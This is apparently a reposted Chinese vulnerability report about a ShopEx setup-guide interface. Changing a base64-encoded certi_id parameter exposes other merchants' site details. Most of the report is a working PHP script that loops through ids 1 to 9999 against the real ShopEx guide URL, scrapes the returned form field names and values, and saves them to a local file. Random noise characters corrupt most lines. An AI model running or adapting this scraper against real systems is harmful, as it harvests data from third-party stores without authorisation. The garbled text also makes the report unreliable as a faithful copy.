ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
7 _6 z9 t+ `0 O' I+ Z7 z" E/ V详细说明：
% s+ u* Q8 P1 f& Z问题出现在shopex 网店使用向导页面
1 w4 J  q: E! _% Z+ j4 a
3 l( U9 T. d9 H/ y9 P: w& l3 O
' c, A1 j3 w+ E2 O+ w5 W0 ^( A6 {
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
" [1 `0 H5 [; n! o1 I  i

% w" }: e; G- d) @- W
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
( l9 H: I, U. t. W) }4 V: p1 `


我们修改certi_id 即可遍历所有使用了ShopEx程序的网站



1 A! F$ o" Q: I* J. t: \<?php
; F" k, P( w' u! v6 E, C% [
9 j. @" }$ r1 o( E( O0 v3 l                for ($i=1; $i < 10000; $i++) { //遍历
7 O8 a. E( S, T* B, `' `: W! M  d
                        ShowshopExD($i);

                }

9 P+ W2 Q# p" P. y: |! `  m: D                function ShowshopExD($cid) {
. d) `; B* v# g9 N8 p
7 B+ T+ _5 _+ x" D                $url='http://guide.ecos.shopex.cn/step2.php';

/ j' q( P5 l/ H; O" s$ F4 `- V) }                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;

1 H* k: s- \+ f. t7 w        $ch = curl_init($url);
( Y" U1 l, Q+ g
! O; p4 Y) ^9 M& [6 w& n        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
- }! b7 V# a4 E& @
        $result = curl_exec($ch);
* ^5 C) R0 `4 N. s4 f
8 X4 @1 k' }, w; y& m        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))

; m" ~5 ~4 P0 R5 Z# w6 D2 c) q& o        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
$ d- N, f5 k( K; x2 }( F) c# c; p
3 p* }( P+ f$ F5 y                foreach ($value[1] as $key) {

8 @( k* h9 t! M  p9 C5 g                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
2 Q  R. o; Z6 N) D4 H% T
                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";
5 O' u' O* i* m1 R  W
/ y" h2 E+ {2 a- N( J! T7 U8 D1 ~                        fwrite($fp, $col, strlen($col));
- x! X9 y0 \* i' l. b  |; y: ?7 F
                }
4 I" D* b" K& d6 x' S9 ?
! m+ q+ U4 o. e( H1 V: a                echo '--------------------------------'."\r\n";

                fclose($fp);
3 K- q& b3 N* A1 V/ g
        }

7 y2 H  J* n0 R        flush();
& ~. U2 i$ D9 x" M. x
! ^. t4 K& q7 I        curl_close($ch);
; s0 V6 S2 V; g0 M
3 T1 w0 r) f) @9 U1 W0 ^3 J                }
' i. k- T3 d! c5 [
?>
漏洞证明：
5 c8 W0 S+ M4 m; b6 o. v! a7 _http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
. e+ h2 ^" `2 l6 Yrefer换成其他加密方式
! e4 ?3 I  M! A$ H3 a0 a! d% b